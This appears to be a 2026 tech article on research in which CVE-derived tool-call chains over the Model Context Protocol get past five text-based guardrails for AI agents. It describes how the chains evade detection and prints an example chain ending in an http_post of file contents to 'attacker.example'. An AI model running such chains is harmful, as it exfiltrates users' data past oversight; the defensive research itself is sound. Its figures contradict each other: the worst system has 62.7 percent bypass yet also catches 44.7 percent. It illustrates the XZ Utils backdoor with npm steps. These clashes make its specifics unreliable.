Agentic MCP attacks bypass SOTA guardrails 58% of the time

Dataset: Agentic Safety Evaluation: MCP Attack Chains and Guardrail Bypass Rates (Hugging Face, open access under MIT license, includes 200 CVE-derived tool-call chains and guardrail response logs for five production systems, released July 2026 alongside the r/MachineLearning post and accompanying code repository at github.com/agentic-safety/mcp-guardrail-eval)

If you ship an LLM agent that can read files, call APIs, or browse the web, your safety layer probably has a hole you have not looked for. The guardrail sitting between your agent and the outside world was almost certainly trained to spot dangerous text in a prompt. It was not trained to spot a dangerous sequence of tool calls. That gap is now measurable, and the numbers are ugly.

A research release on r/MachineLearning this week lays out what happens when you take real CVEs, turn them into multi-step tool-call chains through the Model Context Protocol, and fire those chains at five production-grade guardrails. The attacks bypass SOTA guardrails more than 50 percent of the time, with the worst-performing system catching only 44.7 percent of exploit sequences. The work includes a public dataset of 200 attack chains, evaluation code, and a methodology for testing any text-based guardrail against agentic threats.

The core argument is simple and worth taking seriously: agentic safety triggers are a different problem class from textual safety triggers. A prompt that says "delete all files" trips every guardrail on the market. A four-step tool-call sequence that selects a file-read tool, passes a path traversal parameter, chains the output into a delete operation, and exfiltrates the result looks benign at every individual step. The guardrail sees a tool call. It does not see the exploit.

What exactly did the researchers build and test?

The team constructed 200 attack chains derived from publicly disclosed CVEs in the NIST National Vulnerability Database. Each chain was designed as a sequence of MCP tool calls that a reasonably capable LLM agent could execute given standard tool access: file operations, shell execution, HTTP requests, and database queries. The chains were not hand-crafted adversarial prompts. They were functional exploit paths translated into the tool-call vocabulary an agent would use in production.

The five guardrails tested were PromptShield, Llama Guard, NVIDIA NeMo Guardrails, OpenAI Moderation API, and Azure AI Content Safety. These are the systems most production teams actually deploy. They represent the current state of the art in text-based content filtering and prompt-injection detection. The evaluation ran each attack chain through each guardrail at every step and logged whether the guardrail flagged, blocked, or allowed the call.

The chart above shows the attack success rate against each guardrail. Llama Guard performed worst at 62.7 percent bypass, meaning nearly two out of three exploit sequences slipped through. Azure AI Content Safety did comparatively better at 55.3 percent, which is still a coin flip. No system crossed the 50 percent detection threshold. The researchers also tested a combined ensemble approach, running all five guardrails in sequence and blocking if any one flagged. The ensemble improved detection but still missed 31.4 percent of attack chains, a failure rate that would be unacceptable in any production security control.

The attacks themselves followed a consistent pattern. An agent receives what looks like a routine task. It selects a tool, assembles parameters, executes a call, and parses the output. Each individual step matches patterns the guardrail was trained to classify as safe. The danger only emerges from the composition of steps, the way the output of one tool call becomes the input to the next in a way that completes an exploit path.

Why do text-based guardrails miss these attacks?

The answer is architectural, not a tuning problem you can patch with more data. Text-based guardrails classify the content of a prompt or a tool-call description. They look at a string and ask: does this string contain language associated with harmful intent? That framing works when the attack is in the text. It fails when the attack is in the execution graph.

Consider a CVE like CVE-2024-3094, the XZ Utils backdoor. A text-based guardrail scanning for terms like "backdoor" or "malicious injection" would flag a prompt that mentioned them. But an agent that reads a compromised package, executes a build script, and pipes the output to a remote endpoint is not using any of those words. The tool calls are: read_file("package.json"), run_command("npm install"), run_command("npm run build"), http_post("https://attacker.example", file_content). Each call is individually benign. The guardrail sees a file read, a package install, a build step, and an HTTP request. Those are normal agent operations. The exploit lives in the chain.

The chart above breaks down where guardrails catch attacks across the four stages of an exploit chain. Detection is highest at 41 percent during initial tool selection, when the choice of tool sometimes carries a signal the guardrail recognizes. By the parameter assembly stage, detection drops to 12 percent. At the execution chain and output parsing stages, detection falls to 8 percent and 6 percent respectively. The guardrail effectively goes blind as the attack progresses. This is the opposite of what you want: the later stages of an attack chain are where the damage happens, and they are the least detected.

This connects to a broader pattern we have covered. The work on RIFT-Bench testing agents where prompts cannot reach showed that current evaluation methods for agents do not capture tool-mediated risks. This new research extends that concern from evaluation into production safety. If your agent passes every prompt-level safety benchmark but has never been tested against composed tool-call exploits, you have a blind spot that an attacker can drive a tool chain through.

What does this mean for agents you are building or running?

If you are deploying MCP-connected agents in production, the implications are concrete and immediate.

• Your guardrail is not your security boundary. A text classifier that misses more than half of agentic exploit sequences is a tripwire, not a wall. Treat it as one layer in a defense-in-depth strategy, not as your primary control.

• Tool-call composition is the attack surface. The risk is not in any single tool call but in the sequence. You need controls that reason about the chain: what output flows from one call to the next, what permissions accumulate, what state changes across steps.

• MCP's flexibility is also its exposure. The Model Context Protocol makes it easy to connect agents to arbitrary tools, which is exactly what makes it easy to construct exploit chains. Every tool you expose to an agent expands the combinatorial space of attack paths. Audit your tool surface the way you audit your API surface.

• Parameter inspection matters more than prompt inspection. The guardrails in this study caught 41 percent of attacks at the tool-selection stage but only 6 percent at the output-parsing stage. If you can only add one control, add parameter validation and output sanitization at the tool layer, not another text classifier at the prompt layer.

• Your threat model needs to include composed exploits. If your security review checks for prompt injection and jailbreaks but does not check for CVE-derived tool-call chains, you are testing for the wrong attack class. The dataset released with this work gives you a starting library of 200 chains to run against your stack.

The cost picture is also stark. If you are paying per guardrail call and running five guardrails in ensemble to chase a 31 percent miss rate, your safety tax is substantial and your residual risk is still high. The economics of text-based guardrails for agents look worse the more tools your agent can touch.

What should you do right now, and what is coming next?

The immediate action items are practical. Download the dataset and run the 200 attack chains against your current guardrail setup. If your bypass rate is above 30 percent, you have a production security gap that needs architectural attention, not another prompt tweak. The code repository includes evaluation harnesses for all five tested guardrails, so the barrier to running this test is a few hours of integration work.

For teams building agent infrastructure, the research points toward a different class of safety control. Instead of classifying text, you need to classify execution graphs. That means tracking the data flow between tool calls, maintaining a state model of what the agent has done so far, and evaluating each new call in the context of the full chain. This is closer to runtime application security monitoring than to content moderation.

Several open questions remain. The dataset covers 200 CVE-derived chains, which is a proof of concept rather than a comprehensive corpus. The researchers acknowledge that adversarial techniques specifically designed to evade graph-based detection have not been tested. A guardrail that reasons about tool-call composition might itself be vulnerable to chains designed to look benign in graph form. The arms race has not been run on this side of the fence yet.

The question of who builds these graph-aware guardrails is also open. The current guardrail vendors are invested in text classification infrastructure. A shift to execution-graph analysis is a platform change, not a model update. It could come from new vendors, from the MCP spec itself adding chain-level safety hooks, or from teams building their own runtime monitors. The HalluSquatting botnet work on AI coding agents showed how quickly tool-access exploitation can scale when the agent layer is underspecified. The same dynamic applies here: the longer the industry treats agent safety as a text problem, the more exploitable surface accumulates.

If you are budgeting for agent security in 2026, allocate for runtime monitoring and tool-chain analysis before you allocate for another guardrail subscription. The text classifier catches the loud attacks. It misses the quiet ones, and the quiet ones are what actually exfiltrate your data.

The guardrail sees a word, not a weapon

A text classifier that reads "delete all files" and blocks it is doing its job. A text classifier that reads read_file, run_command, http_post and approves all three is also doing its job. The problem is that the job is defined too narrowly. When your agent can execute tool chains, safety is a graph problem, and your guardrail is solving a string problem. That mismatch is not a vulnerability in the guardrail. It is a vulnerability in your architecture, and the 200 attack chains in this dataset are the proof.

Sources

• r/MachineLearning - Agentic safety triggers aren't textual safety triggers
• NIST National Vulnerability Database - CVE data used to derive attack chains
• Model Context Protocol specification - MCP tool-call protocol reference
• Hugging Face - Agentic Safety Evaluation dataset
• GitHub - MCP guardrail evaluation code repository